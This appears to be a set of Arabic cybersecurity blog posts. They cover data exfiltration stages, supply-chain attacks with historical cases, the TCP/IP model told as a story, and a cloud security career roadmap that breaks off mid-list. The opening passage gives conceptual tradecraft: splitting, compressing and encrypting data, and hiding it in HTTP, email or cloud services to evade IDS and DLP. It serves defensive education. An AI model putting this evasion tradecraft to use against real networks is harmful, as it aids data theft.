الخطوة الأولى تتطلب من المهاجم الحصول على صلاحيات التحكم بجهاز الضحية وهذا الأمر يتم عادةً عبر سلسلة Cyber Kill Chain التي تشمل مراحل مثل استغلال الثغرات وزرع البرمجيات الخبيثة وتنفيذ التعليمات البرمجية عن بُعد.

الوصول إلى البيانات المستهدفة

بعد أن تتم عملية الاختراق، يبدأ المهاجم في البحث عن البيانات التي يريد سرقتها ويمكنه القيام بذلك عبر تقنيات متعددة، مثل مشاركة الملفات عبر الأنظمة أو جلسات SSH أو أدوات متخصصة تتيح الوصول إلى قواعد البيانات والسيرفرات الداخلية.

إعادة ترتيب البيانات على الجهاز المصاب

في بيئات العمل الآمنة، لا تكون السيرفرات الداخلية متصلة بالإنترنت مباشرة ولهذا السبب، يلجأ المهاجم إلى تجميع البيانات على جهاز مخترق يمكنه التحكم به ليستخدمه كنقطة انطلاق لنقل البيانات للخارج.

تشفير وضغط البيانات

قبل نقل البيانات، يقوم المهاجم بضغطها وتشفيرها باستخدام أدوات مثل 7zip or WinRAR، مما يقلل من حجم البيانات ويجعل اكتشافها أكثر صعوبة، عادةً ما يتم تقسيم الملفات إلى أجزاء صغيرة لمنع كشف أي نشاط غير طبيعي في حركة البيانات عبر الشبكة.

إرسال البيانات بسرية عبر الشبكة

يتم إرسال البيانات ببطء عبر الشبكة بطريقة لا تثير الشكوك والهدف هو تجنب الظهور في سجلات المراقبة كجهاز يستهلك من عرض الحزمة بشكل غير عادي، مما قد يؤدي إلى اكتشاف عملية الاختراق من قبل أنظمة كشف الاختراق (IDS) أو أنظمة منع تسريب البيانات (DLP).

التحدي الرئيسي: كيف يخرج المهاجم البيانات دون اكتشافه؟

عندما يصبح المهاجم جاهز لنقل البيانات إلى خارج الشبكة، فإنه يواجه مشكلة رئيسية:

كيف يجد طريقة للخروج دون أن يتم اكتشافه من قبل أنظمة الحماية؟

إذا كانت الشبكة المستهدفة محمية بشكل صحيح، فمن المفترض أن تكون هناك قيود صارمة على حركة البيانات الصادرة عبر جدار الحماية، على سبيل المثال: قد تكون المنافذ المفتوحة محدودة للغاية وتشمل فقط المنافذ التالية:

المنفذ 22 (SSH): يُستخدم عادةً للوصول عن بُعد إلى السيرفرات.
المنفذ 25 (SMTP): يُستخدم لنقل البريد الإلكتروني.
المنفذ 80 (HTTP) والمنفذ 443 (HTTPS): تُستخدم لتصفح الإنترنت ونقل البيانات عبر بروتوكول الويب.

كيف يتحايل المهاجم على القيود الأمنية؟

في بعض الحالات، يكون هناك تحكم صارم في كيفية استخدام هذه المنافذ، على سبيل المثال: قد يكون المنفذ 25 مخصصاً فقط لسيرفر البريد الإلكتروني وقد لا تكون المنافذ 80 و 443 محمية بجدار ناري يمنع الاتصال المباشر إلى أي وجهة خارجية.

لهذا السبب، يلجأ المهاجم إلى استراتيجيات مثل:

إخفاء البيانات داخل حركة البيانات الشرعية: مثل تضمينها داخل طلبات HTTP أو تشفيرها ضمن حزم البريد الإلكتروني.
استخدام سيرفرات وسيطة (Proxy Servers): لنقل البيانات إلى خارج الشبكة دون كشف الهوية الحقيقية.
استغلال خدمات الحوسبة السحابية: مثل Google Drive أو Dropbox حيث يتم رفع البيانات المشفرة على هذه الخدمات قبل تنزيلها من جهاز آخر.

دور مرحلة ما بعد الاستغلال (Post-Exploitation)

بعد أن يتمكن المهاجم من الوصول إلى البيانات المستهدفة، تبدأ مرحلة ما بعد الاستغلال، التي تشمل عدة تكتيكات، منها:

الحصول على بيانات تسجيل الدخول: لا يكتفي المهاجم بسرقة البيانات فقط، بل يسعى أيضاً للحصول على بيانات تسجيل الدخول ليتمكن من تنفيذ المزيد من الهجمات لاحقاً.
التنقل الجانبي (Lateral Movement): محاولة الانتقال إلى أجهزة أخرى داخل الشبكة للوصول إلى بيانات إضافية.
المحافظة على الوصول: تثبيت أبواب خلفية (Backdoors) لضمان إمكانية الوصول المستمر إلى الشبكة حتى بعد اكتشاف الهجوم وإصلاح الثغرة الأمنية.

في هذه المرحلة، تصبح مهمة فرق الأمن السيبراني أكثر تعقيداً، حيث يجب عليهم رصد أي نشاط غير طبيعي، مثل زيادة في استهلاك عرض الحزمة أو محاولات الاتصال غير المصرح بها.

في النهاية

سرقة البيانات هي واحدة من أخطر التهديدات التي تواجه المؤسسات اليوم. يتطلب نجاح الهجوم استخدام تكتيكات متقدمة تعتمد على التخفي والتحايل على أنظمة الحماية ولهذا السبب، من الضروري أن تعتمد المؤسسات استراتيجيات دفاعية متعددة الطبقات تشمل:

مراقبة حركة البيانات وتحليلها باستمرار.
استخدام أنظمة كشف الاختراق IDP وأنظمة منع تسرب البيانات (DLP).
تعزيز سياسات الأمن وتقييد الوصول إلى البيانات الحساسة.

إذا كنت مهتم بكيفية بناء استراتيجيات دفاع قوية لحماية الشبكات من هذا النوع من الهجمات وضمان كشف التهديدات في مراحلها المبكرة قبل أن تتحول إلى كارثة أمنية انصحك بالاستعداد للإنضمام لمعسكر الفريق الأزرق الذي سيتم الإعلان عنه في الأيام القادمة.

هجمات سلاسل التوريد: التهديد الصامت في العالم الرقمي

Fri, 20 Sep 2024 16:03:50 GMT

هجمات سلاسل التوريد لا تستهدف الضحية مباشرة، بل تخترق مورداً أو شريكاً موثوقاً وتزرع برمجيات خبيثة في منتجاته أو تحديثاته، فتثبّتها الشركة المستهدفة دون علمها. خطورتها في صعوبة اكتشافها واتساع تأثيرها، كما في هجوم SolarWinds عام 2020، ويُحد منها بتدقيق أمن الشركاء والتحديث المنتظم وكشف التهديدات والمراقبة المستمرة.

في العصر الرقمي المتسارع، أصبحت الهجمات السيبرانية تهديداً متزايداً للشركات والمؤسسات وحتى الدول و من بين هذه التهديدات، برزت هجمات سلاسل التوريد كواحدة من أكثر الاستراتيجيات تعقيداً وخطورة. هذا النوع من الهجمات لا يستهدف الضحية بشكل مباشر، بل يستغل العلاقات بين الضحية وشركائها التجاريين أو التقنيين لتحقيق اختراق غير متوقع.

ما هي سلاسل التوريد؟

سلاسل التوريد هي الشبكات المعقدة التي تربط بين الشركات والموردين والشركاء التجاريين لتوفير المنتجات أو الخدمات التي تحتاجها الشركات لتشغيل أعمالها. تتكون هذه السلاسل من عدة مراحل مترابطة، تشمل الحصول على المواد الخام و التصنيع و التوزيع والتسليم, كل مرحلة من هذه المراحل تعتمد على مرحلة أخرى لإتمام عملية الإنتاج أو توفير الخدمة بنجاح.

على سبيل المثال، عندما تقوم شركة بإنتاج هاتف ذكي، تعتمد هذه الشركة على عدد من الموردين الخارجيين لتوفير المكونات مثل الشاشات و المعالجات، والكاميرات، ثم تقوم الشركة بتجميع هذه المكونات في مصنعها الخاص, بعد ذلك، يتم توزيع المنتج النهائي على التجار أو العملاء عبر شبكة من الشركاء اللوجستيين. في هذه الحالة، كل مزود أو شريك في هذه العملية يُعتبر جزءا من سلسلة التوريد.

في المجال الرقمي مفهوم سلاسل التوريد يمتد إلى الشركات التي تقدم برمجيات أو خدمات تقنية للمؤسسات، مثل أنظمة إدارة الشبكات أو حلول الأمان الرقمي. في هذه الحالة، تعتمد المؤسسات على الشركاء لتزويدها بالبرمجيات أو التحديثات الضرورية لتشغيل أنظمتها، مما يعني أن أي خلل أو اختراق لدى المورد يمكن أن يؤثر بشكل مباشر على المؤسسة بأكملها.

تعمل سلاسل التوريد على مبدأ الثقة المتبادلة، حيث تعتمد الشركات على شركائها لتزويدهم بالمنتجات والخدمات الآمنة والمضمونة. لكن هذه الثقة يمكن أن تُستغل من قبل المهاجمين، حيث يمكن لهجمات سلاسل التوريد استهداف الموردين أو الشركاء الأضعف للوصول إلى الشركات الكبرى من خلال نقاط ضعف غير متوقعة.

كيف تعمل هجمات سلاسل التوريد؟

هجمات سلاسل التوريد تعمل عن طريق استهداف العلاقات التجارية أو التقنية بين الشركات وشركائها الخارجيين بدلا من مهاجمتها مباشرة. تعتمد الشركات على مزودي خدمات أو منتجات خارجية لإدارة جوانب مهمة من عملياتها، مثل البرمجيات، الأجهزة و حتى الخدمات اللوجستية. المهاجمون يستغلون هذه الثقة الموجودة بين الشركات وشركائها عن طريق اختراق المورد أو الشريك الذي يُعتبر جزءا من سلسلة التوريد.

بعد نجاحهم في اختراق أنظمة هذا الشريك، يقومون بحقن البرمجيات الخبيثة أو تعديل المنتجات التي سيتم إرسالها لاحقا إلى الشركة المستهدفة, عندما تستلم الشركة هذه المنتجات أو التحديثات “الموثوقة”، تقوم بتثبيتها على أنظمتها دون معرفة أن البرمجيات الخبيثة قد تم إدخالها. هذا يسمح للمهاجمين بالتسلل إلى الأنظمة الداخلية للشركة المستهدفة دون الحاجة لمهاجمتها بشكل مباشر مما يجعل الهجوم أكثر تعقيدا وأصعب في الكشف.

بعبارة أخرى، هجمات سلاسل التوريد تستغل الاعتماد المتبادل بين الشركات والموردين لاختراق الهدف بطرق ملتوية يصعب اكتشافها، وغالبا ما تُكتشف الهجمات بعد وقوع الضرر.

لماذا تعتبر هجمات سلاسل التوريد خطيرة للغاية؟

هجمات سلاسل التوريد تعتبر خطيرة للغاية لأنها تستغل أحد أعقد وأضعف نقاط الأنظمة الأمنية في العالم الرقمي: العلاقات التجارية والتقنية المعتمدة على الثقة بين الشركات وشركائها ومورديها, هذه الهجمات تمنح المهاجمين القدرة على التسلل إلى أنظمة الشركات بطريقة ملتوية يصعب اكتشافها لأنها تعتمد على نقاط ضعف خارجية في شركاء أو مزودي خدمات بدلا من مهاجمة الشركة بشكل مباشر. هنا بعض العوامل التي توضح لماذا تُعد هذه الهجمات خطيرة بشكل خاص:

1. استهداف البنية التحتية الحيوية

في كثير من الأحيان، هجمات سلاسل التوريد, تستهدف البنية التحتية الحيوية, مثل الأنظمة الحكومية، المستشفيات، شبكات الطاقة أو المؤسسات المالية. عندما يتمكن المهاجمون من الوصول إلى هذه الأنظمة من خلال الموردين أو الشركاء التقنيين، فإنهم يمكن أن يتسببوا في أضرار كبيرة للأنظمة الحيوية على نطاق وطني أو عالمي. مما يزيد من خطورة الهجوم وتأثيره على المجتمع ككل.

2. صعوبة اكتشافها

أحد أكبر أسباب خطورة هجمات سلاسل التوريد هو القدرة على التسلل ببطء وخفاء، عندما تعتمد شركة على مزود خارجي لتزويدها ببرامج أو مكونات معينة، فإنها تثق في أن هذا المزود يقدم خدمات أو منتجات آمنة. المهاجمون يستغلون هذه الثقة لإدخال برمجيات خبيثة أو تغييرات ضارة في منتجات أو تحديثات تأتي من مورد موثوق. هذا يعني أن الهجوم قد يستمر لشهور أو حتى سنوات قبل اكتشافه، مما يمنح المهاجمين وقتا طويلا للتجسس أو سرقة البيانات أو تنفيذ هجمات لاحقة.

3. التأثير واسع النطاق

هجمات سلاسل التوريد لا تؤثر فقط على شركة واحدة، بل يمكن أن تؤثر على شبكة كاملة من الشركات المرتبطة بمورد معين. فعلى سبيل المثال، إذا تم اختراق مزود برمجيات يستخدمه عدد كبير من الشركات، فإن البرمجيات الخبيثة يمكن أن تنتشر إلى آلاف الأنظمة في وقت قصير، مما يضاعف الأضرار. تأثير الهجوم يمكن أن يكون عالميا نظرا لأن الشركات متعددة الجنسيات غالبا ما تعتمد على نفس الموردين.

4. استهداف الموردين الضعفاء

غالبا ما تكون الشركات الكبيرة تمتلك إجراءات أمنية معقدة وصعبة الاختراق. لكن الموردين والشركاء الأصغر قد لا يملكون نفس مستوى الأمان, المهاجمون يدركون أن مهاجمة الموردين الأضعف هي طريقة فعالة للوصول إلى الشركات الكبرى. على سبيل المثال، يمكن لمهاجم أن يخترق موردا صغيرا يقدم برامج للشركات الكبرى، وحينما تقوم تلك الشركات الكبرى بتحديث برمجياتها من هذا المورد، يدخل المهاجم إلى أنظمتها بسهولة.

5. الهجوم من داخل الأنظمة

بمجرد أن يقوم المهاجمون بالوصول إلى الشركة المستهدفة من خلال سلسلة التوريد، فإنهم يكونون في موقع مثالي داخل الأنظمة نفسها. هذا يعني أن لديهم مستوى عالٍ من الوصول والقدرة على التجسس أو تعطيل الأنظمة من الداخل، وهو ما يجعل الهجوم أكثر خطورة من الهجمات التقليدية التي تأتي من خارج النظام. بإمكان المهاجمين تنفيذ أوامر أو استغلال الثغرات بدون أن يثيروا الشبهات لفترة طويلة.

6. تعدد الأهداف

هجمات سلاسل التوريد تعطي المهاجمين فرصة للوصول إلى أهداف متعددة عبر هجوم واحد, بدلا من استهداف شركة واحدة فقط. يمكن أن يستهدف المهاجم موردا أو برمجية تستخدمها عدة شركات في صناعات أو قطاعات مختلفة، هذا يجعل الهجوم أكثر فعالية من حيث الجهد والنتائج، حيث يمكن للمهاجمين التأثير على مئات أو آلاف الشركات من خلال إصابة مزود واحد فقط.

7. التبعات المالية الكبيرة

التبعات المالية لهذه الهجمات يمكن أن تكون مدمرة, الشركات قد تواجه تكاليف ضخمة في محاولة احتواء الهجوم، تنظيف أنظمتها، وتحسين أمانها بعد الحادث. إضافة إلى ذلك، فقدان الثقة من العملاء والشركاء التجاريين قد يؤدي إلى خسائر اقتصادية كبيرة في الإيرادات, وقد تمتد التبعات إلى عقوبات قانونية إذا تم اكتشاف أن الشركة لم تقم بإجراءات كافية لحماية بيانات العملاء.

أمثلة بارزة على هجمات سلاسل التوريد

هجمات سلاسل التوريد أصبحت أحد أكثر الأدوات استخداما في الهجمات السيبرانية الحديثة، وقد أثرت على شركات وحكومات حول العالم. فيما يلي بعض الأمثلة البارزة عن هذه الهجمات:

1. هجوم SolarWinds (2020)

يُعد هجوم “SolarWinds” واحدا من أكبر هجمات سلاسل التوريد في التاريخ. تم اختراق شركة SolarWinds، وهي شركة تقدم برامج إدارة الشبكات، المهاجمون قاموا بزرع برمجيات خبيثة في تحديثات أحد منتجاتها الرئيسية “Orion”، وهو برنامج يُستخدم لمراقبة وإدارة شبكات الكمبيوتر, عند تحديث هذا البرنامج، تم تثبيت البرمجيات الخبيثة في آلاف المؤسسات، بما في ذلك وكالات حكومية وشركات خاصة في جميع أنحاء العالم. المهاجمون تمكنوا من الوصول إلى أنظمة حساسة لأشهر قبل اكتشاف الهجوم.

2. هجوم NotPetya (2017)

هجوم NotPetya هو هجوم سيبراني مدمر انتشر بسرعة في جميع أنحاء العالم. بدأ الهجوم من خلال استهداف شركة أوكرانية تقدم برنامج محاسبة. عندما تم تحديث البرنامج، تم زرع برمجية خبيثة في التحديث الذي أصاب الأنظمة بالشلل. انتشرت هذه البرمجية الخبيثة بسرعة عبر سلاسل التوريد، مما تسبب في خسائر مالية ضخمة لمئات الشركات حول العالم، مثل “Maersk” و”Merck”.

3. هجوم Target (2013)

في عام 2013، تعرضت سلسلة المتاجر الأمريكية “Target” لاختراق أدى إلى سرقة بيانات ملايين العملاء، بما في ذلك بيانات بطاقات الائتمان. المهاجمون استغلوا ثغرة في أحد مزودي الخدمات الذي كان مسؤولا عن أنظمة التدفئة والتبريد في متاجر Target. من خلال هذا الاختراق البسيط في سلسلة التوريد، تمكن المهاجمون من الوصول إلى شبكة Target الداخلية وسرقة البيانات الحساسة.

4. هجوم ASUS Live Update (2019)

في عام 2019، تم استهداف شركة ASUS من خلال هجوم سلاسل التوريد. المهاجمون تمكنوا من اختراق خوادم تحديث البرامج الخاصة بشركة ASUS وزرعوا برمجيات خبيثة في أداة التحديث “ASUS Live Update”. عندما قام المستخدمون بتحديث برامجهم، تم تثبيت البرمجيات الخبيثة على ملايين الأجهزة حول العالم، مما سمح للمهاجمين بالوصول إلى الأنظمة المستهدفة.

5. هجوم CCleaner (2017)

برنامج CCleaner، وهو برنامج شائع يستخدم لتنظيف وتحسين أداء الحواسيب، تم اختراقه في عام 2017. المهاجمون استغلوا شركة Avast، المطورة للبرنامج، وزرعوا برمجيات خبيثة في النسخة الرسمية من البرنامج. عندما قام المستخدمون بتحميل وتحديث CCleaner، تم إصابة أنظمتهم بالبرمجيات الخبيثة. التأثير كان كبيرا لأن البرنامج كان يُستخدم على نطاق واسع في جميع أنحاء العالم.

6. هجوم ShadowPad (2017)

هجوم ShadowPad استهدف العديد من الشركات والمؤسسات عن طريق إصابة برنامج إدارة قواعد البيانات الشهير “NetSarang” ببرمجيات خبيثة. المهاجمون استغلوا هذا البرنامج الموثوق به والذي يُستخدم على نطاق واسع في إدارة الأنظمة والشبكات في المؤسسات الكبيرة. بعد تحديث البرنامج، تم تثبيت البرمجيات الخبيثة في الأنظمة المصابة، مما أعطى المهاجمين القدرة على التحكم عن بُعد في هذه الأنظمة.

7. هجمات سلاسل التوريد في الأحداث الأخيرة بلبنان

في الأحداث الأخيرة التي شهدتها لبنان، تكررت الإشارات إلى هجمات سلاسل التوريد كأحد الأدوات التي استُخدمت لتحقيق أهداف معينة. تشير التقارير إلى أن هذه الهجمات قد لعبت دورا في تلك الأحداث عبر استغلال نقاط ضعف في البنية التحتية التكنولوجية أو الخدمات التي تقدمها شركات خارجية.

كيف يمكن التصدي لهجمات سلاسل التوريد؟

مع تزايد هذه الهجمات، أصبحت الحاجة إلى تعزيز الأمان في سلاسل التوريد أمرا ضروريا. هناك عدة استراتيجيات يمكن اتباعها للحد من مخاطر هذه الهجمات:

التدقيق الأمني للشركاء: يجب على المؤسسات التأكد من أن الموردين والشركاء الذين يتعاملون معهم يلتزمون بأعلى معايير الأمان السيبراني.
تحديث الأنظمة بانتظام: يجب التأكد من أن جميع البرمجيات والأجهزة يتم تحديثها باستمرار باستخدام أحدث التصحيحات الأمنية.
تطبيق استراتيجيات كشف التهديدات: من المهم استخدام أدوات كشف التهديدات والاختراقات التي يمكن أن تساعد في تحديد الهجمات المحتملة قبل أن تتسبب في أضرار كبيرة.
التشفير والمراقبة المستمرة: يجب تأمين البيانات المهمة وضمان مراقبة مستمرة لأي نشاط غير طبيعي داخل الشبكات.

الخلاصة

تُعد هجمات سلاسل التوريد من أخطر الأسلحة في الحروب السيبرانية الحديثة. هذه الهجمات تتميز بالتخفي والقدرة على التسلل عبر نقاط ضعف غير متوقعة في سلاسل التوريد التي تعتمد عليها الشركات والمؤسسات. وفي ظل الأحداث الأخيرة التي شهدتها لبنان، زاد الحديث عن هذا النوع من الهجمات، مما يبرز الحاجة إلى تعزيز الدفاعات السيبرانية على كافة المستويات لضمان حماية الأنظمة الحساسة.

من المهم أن تدرك المؤسسات أن التهديدات قد لا تأتي دائما من مصادر مباشرة، بل يمكن أن تكون مختبئة في العلاقات التجارية والتكنولوجية التي تربطها بالآخرين.

انتقال البيانات عبر شبكة الإنترنت من وجهة نظر مختلفة – الرحلة الكاملة

Wed, 18 Sep 2024 16:42:56 GMT

تنتقل البيانات عبر الإنترنت وفق نموذج TCP/IP بالمرور على أربع طبقات: طبقة التطبيقات مثل HTTP تجهز البيانات، وطبقة النقل TCP تقسمها إلى Segments وتحدد المنفذ 80، وطبقة الإنترنت IP تضيف العنوان فتصبح Packets، وطبقة الربط Ethernet تضيف عنوان MAC فتصبح Frames، ثم تُعالج بالترتيب المعاكس عند الوجهة.

تعد عملية انتقال البيانات عبر شبكة الإنترنت من أهم الركائز التي يعتمد عليها عالمنا الرقمي الحديث، فبفضل هذه العملية يمكننا التواصل، تبادل المعلومات والعمل عن بعد بسهولة وسرعة، لكن وراء تلك البساطة الظاهرة وهذه السرعة الفائقة قصة مشوقة تستحق أن تُروى، تخفي في أعماقها رحلة معقدة تبدأ من أجهزتنا الإلكترونية وتنتهي عند سيرفر ما أو جهاز آخر في الجانب الآخر من العالم.

يهدف هذا المقال إلى إزالة الغموض وإنهاء الصراع الأزلي بين عالم الشبكات المتشابك والطلاب المهتمين بعالم الأمن السيبراني بشكل خاص، من خلال رؤية جديدة ومختلفة لنموذج الاتصال عبر الشبكة الشهير TCP/IP والذي يشكل أساساً قوياً وفعالاً لمعظم الإتصالات عبر شبكة الإنترنت الواسعة!

بداية الرحلة

Alice، الموظفة المجتهدة، تعمل في شركة متواضعة تقدم خدمات معينة، الشركة عبارة عن بناء بسيط مؤلف من ثلاثة طوابق وكل طابق مسؤول عن قسم محدد من المهام، يقع مكتب صديقتنا Alice في الدور الثالث (الطابق الأخير في مبنى الشركة).

بينما كانت صديقتنا منشغلة بتأدية مهامها، تلقت اتصالاً مباغتاً من إحدى صديقاتها لتخبرها أنه لم يتبق سوى وقت قليل جداً على انتهاء التسجيل والتقدم بطلب للحصول على جواز سفر والذي لطالما انتظرت الحصول عليه طويلاً لكن انشغالها بعملها منعها من التقدم ومتابعة هذا الأمر.

– ماذا أفعل؟! التسجيل سينتهي اليوم ولا أستطيع ترك عملي، لا يمكنني أيضاً تجاهل تقديم طلب الحصول على جواز سفر جديد..

الطابق الثالث <=> طبقة التطبيقات (Application Layer)

بعد تفكير مطوّل، قررت Alice طلب المساعدة من موظف الدعم الذي يعمل معها في نفس الطابق يدعى Http:

– Alice: مرحباً Http هل يمكنك الذهاب إلى مبنى الهجرة والجوازات والتقدم بطلب الحصول على جواز سفر جديد نيابة عني؟، لا أستطيع الذهاب بسبب انشغالي بالعمل.

+ Http: نعم، يمكنني المساعدة.

– Alice: شكراً جزيلاً، إليك جميع أوراقي ومعلوماتي قمت بوضعها بهذا المصنف، لكن انتبه لا تقل لأحد أنك تحمل مصنفاً وإنما Data.

+ Http: حسناً، فهمت.

ولأن مبنى الشركة متواضع فلم يكن هناك مصعد مما دفع Http المسكين إلى استخدام السلم..

الطابق الثاني <=> طبقة النقل (Transport Layer)

عندما وصل Http إلى الطابق الثاني قابل رئيس قسم الاتصالات الصادرة والواردة من وإلى الشركة والذي يدعى TCP:

– TCP: أهلاً Http، إلى أين أنت ذاهب؟!.

+ Http: أهلاً، يجب علي توصيل ال Data الخاصة ب Alice إلى مبنى الهجرة والجوازات.

– TCP: حسناً، قبل أن تذهب يجب أن تعرف أن رقم الغرفة التي يجب عليك تقديم طلب Alice من خلالها هو 80، أيضاً سأقوم باتصال صغير (SYN,SYN-ACK,ACK) لأتأكد من أنه يوجد أحد من أصدقائي الموظفين في الطابق الثاني في ذلك المبنى جاهز لاستقبالك.

+ Http: شكراً لك، سأذهب الآن.

– TCP: انتظر لحظة، لا يمكنك أخذ جميع هذه ال Data معك، قم بنقلها على مراحل لأتأكد من أنها ستصل بشكل سليم ولا تقل لأحد أنك تحمل Data، بل Segments.

+ Http: اتفقنا.

غادر Http الطابق الثاني متجهاً نحو الطابق الأول، من ينتظره هناك يا تُرى؟

الطابق الأول <=> طبقة الإنترنت (Internet Layer)

كان بانتظاره مدير عمليات توجيه الطلبات الصادرة والواردة من وإلى الشركة السيد IP:

– IP: هذا أنت Http، ما كل هذا الذي تحمله؟ ما هي وجهتك؟!

+ Http: يتوجب عليّ توصيل هذه ال Segments الخاصة ب Alice إلى مبنى الهجرة والجوازات في أسرع وقت.

– IP: فهمت، لحسن الحظ أننا التقينا لأنني واثق أنك لا تعرف عنوان مبنى الهجرة والجوازات.

+ Http: أنت محق، أنا حقاً لا أعرف عنوان المبنى، إن هذه ال Segments التي أحملها ثقيلة وهي التي منعتني من تذكر هذا الأمر.

– IP: لا تقلق، لديّ الحل، يمكنك ترك بعض منها عندي لتخفف حملك خاصة أن الطابق الذي في الأسفل لن يتمكن من تحمل رؤيتك مع كل هذه الحمولة، تفضل، هذا هو عنوان مبنى الهجرة والجوازات، أنت الآن أصبحت تحمل Packets نيابة عن Segments، تذكر هذه النقطة جيداً.

+ Http: شكراً جزيلاً لك.

تابع Http طريقه إلى الطابق الأرضي وهو يتساءل متى ستنتهي هذه الطوابق ويخرج من هذه الشركة بسرعة؟

الطابق الأرضي <=> طبقة الربط (Link Layer)

عندما وصل Http أخيراً إلى الطابق الأرضي، كان في استقباله رئيس قسم عمليات الربط في الشركة والذي يدعى Ethernet:

– Ethernet: أهلاً Http، في الحقيقة لقد تعرفت عليك بصعوبة.

+ Http: أنت محق حتى أنا لم أعد أعرف نفسي.

– Ethernet: علمت أنك ذاهب إلى مبنى الهجرة والجوازات، قمت بتجهيز هذا العنوان لك (MAC Address)، أعلم أنك تعرف عنوان المبنى ولكن عندما تصل إلى مبنى الهجرة والجوازات قم بإعطائهم هذا العنوان لزيادة التأكد من أنك وصلت إلى المبنى الصحيح، لا تقل أنك تحمل Packets وإنما أصبحت تحمل Frames.

+ Http: فهمت ما تعنيه جيداً، شكراً لك.

قام Ethernet بتوصيل Http إلى باب الخروج من الشركة وسط فرحة عارمة شعر بها Http، حيث كان السائق بانتظاره.

رحلة السائق و Http في البحث عن المبنى الهدف

– السائق: أهلاً Http، ماهي وجهتك؟

+ Http: أريد الذهاب إلى مبنى الهجرة والجوازات، لكن من فضلك أريد أن أصل بسرعة.

– السائق: في الحقيقة، أنا لا أعرف طريق الذهاب إلى ذلك المبنى بشكل مباشر، لكن لا تقلق سنتوقف أثناء رحلتنا في بعض المحطات ونطلب منهم مساعدتنا في الوصول إلى المبنى المقصود.

خلال رحلتهما توقفا في عدة محطات لطلب المساعدة في الحصول على الطريق الصحيح، حتى وصلا أخيراً إلى المبنى المنشود.

وصول Http إلى مبنى الهجرة والجوازات

فور دخول Http إلى المبنى، استقبله Ethernet في الطابق الأرضي وطلب منه ال Frames الذي يحملهم، ثم أخذ منه المعلومات اللازمة وقال له مرحباً بك لقد وصلت إلى المكان الصحيح، اصعد إلى الطابق الأول لاستكمال معالجة طلبك، في الطابق الأول قام بتسليم ال Packets إلى السيد IP، أيضاً تم أخذ المعلومات والقيام بالإجراءات اللازمة، ثم صعد بعدها إلى الطابق الثاني وقام بتسليمهم ال Segments التي يحملها واستدل على مكان الغرفة رقم 80 للبدء بإجراءات تقديم الطلب الخاص ب Alice، انتقل بعدها إلى الطابق الأخير وقام بتسليم ال Data المطلوبة لعملية التسجيل وهناك تم إخباره أنه وصل في الوقت المناسب وأن استقبال الطلبات الجديدة قد انتهى.

– قم بإخبار Alice أن عملية التسجيل على جواز السفر الجديد قد تمت بنجاح من دون أي أخطاء.

انتابت Http مشاعر متقلبة بين فرح وحزن؛ فرح لأنه قام بتأدية المهمة التي طُلبت منه على أكمل وجه وحزن لأنه سيعود ليخوض رحلة العودة بنفس تفاصيل الرحلة الأولى من أجل أن يخبر Alice أنه نجح بالمهمة.

الخاتمة: أهمية الطبقات في نقل البيانات

بدت لنا رحلة Http وكأنها مغامرة شيّقة عبر مبنى من الطوابق المترابطة، ولكنها في الحقيقة تُجسّد تعقيد وبراعة عمليات نقل البيانات عبر شبكة الإنترنت، فكل خطوة، وكل طبقة، تلعب دوراً حيوياً لضمان وصول المعلومات بشكل آمن وموثوق، مما يُظهر مدى تناغم وتكامل هذه الأنظمة التي نستخدمها يومياً دون أن ندرك تعقيداتها.

إذاً، في كل مرة تتصفح فيها الإنترنت أو تقوم بإرسال طلب ما، تذكر أن هناك خلف الكواليس رحلة معقدة تجري في الخفاء، يقودها بطل مثل Http ليصل بك إلى وجهتك الرقمية، إنها رحلة خفية لكنها أساسية، تربط العالم الرقمي بأسره وتؤكد لنا أن البساطة التي نراها أمامنا ما هي إلا ثمرة نظام مُتقن يعمل بلا توقف.

اصنع مستقبلك كمهندس أمن سحابي

Sun, 01 Sep 2024 19:24:19 GMT

مهندس الأمن السحابي مسؤول عن تصميم وتنفيذ استراتيجيات أمنية تحمي الأنظمة السحابية، ويحتاج إلى أساسيات الأمن الإلكتروني وفهم منصات مثل AWS وAzure وGoogle Cloud. يبدأ المسار بتعلم الأمن ثم السحابة ثم التخصص واكتساب خبرة عملية، مع شهادات مثل Security+ وCCSP وAWS Certified Security – Specialty.

مع تزايد الاعتماد على الخدمات السحابية وتنامي التهديدات الأمنية الإلكترونية، أصبح دور مهندس الأمن السحابي (Cloud Security Engineer) أكثر أهمية من أي وقت مضى. يتطلب هذا الدور الجمع بين المعرفة العميقة في مجال الأمن الإلكتروني وفهم متقدم للبنية التحتية السحابية. في هذا المقال، سنتناول كيفية بناء مسارك المهني لتصبح Cloud Security Engineer ناجحا، مع تسليط الضوء على الفروقات بين الأنواع المختلفة من مهندسي الأمن السحابي، وتوضيح خارطة الطريق المطلوبة، والشهادات الضرورية، ومدى أهمية أن تكون مهندسا متعدد السحابة (Multi-Cloud Engineer).

ما هو مهندس الأمن السحابي؟

مهندس الأمن السحابي هو الشخص المسؤول عن تصميم وتنفيذ استراتيجيات أمنية لحماية الأنظمة السحابية من التهديدات الإلكترونية. يتطلب هذا الدور فهماً عميقاً لأنواع الخدمات السحابية المختلفة (AWS, Azure, Google Cloud)، بالإضافة إلى المهارات التقنية في مجالات مثل التشفير، وإدارة الهوية والوصول (IAM) والحوكمة السحابية.

أنواع مهندسي الأمن السحابي

يمكن تقسيم مهندسي الأمن السحابي إلى عدة أنواع بناءً على مهاراتهم ومسؤولياتهم:

1. مهندس أمن سحابي متخصص في مزود سحابي معين

هؤلاء المهندسون يركزون على مزود سحابي محدد مثل AWS أو Azure. هم يعرفون تفاصيل وأدوات الأمن الخاصة بهذه المنصات ويكونون قادرين على الاستفادة من هذه الأدوات بشكل فعال.

2. مهندس أمن سحابي متعدد السحابة (Multi-Cloud Security Engineer)

يمتلك هؤلاء المهندسون خبرة في العمل مع أكثر من مزود سحابي. يهدفون إلى توفير حلول أمنية تعمل بسلاسة عبر مختلف المنصات السحابية، مما يسمح للشركات بالاستفادة من مزايا كل منصة بشكل آمن.

3. مهندس أمن السحابة الهجينة (Hybrid Cloud Security Engineer)

هؤلاء المهندسون يتعاملون مع بيئات تحتوي على مزيج من البنية التحتية المحلية والسحابية. يتطلب هذا الدور مهارات في إدارة أمان البيانات والنظام عبر البنية التحتية الهجينة.

خارطة الطريق لتصبح Cloud Security Engineer

إليك خارطة طريق تساعدك في بناء مسارك المهني لتصبح Cloud Security Engineer:

1. اكتساب المعرفة الأساسية في الأمن الإلكتروني

ابدأ بتعلم أساسيات الأمن الإلكتروني، مثل التشفير، وجدران الحماية، واكتشاف التهديدات. يمكن أن تكون شهادات مثل CompTIA Security+ نقطة انطلاق جيدة.

2. تعلم أساسيات السحابة

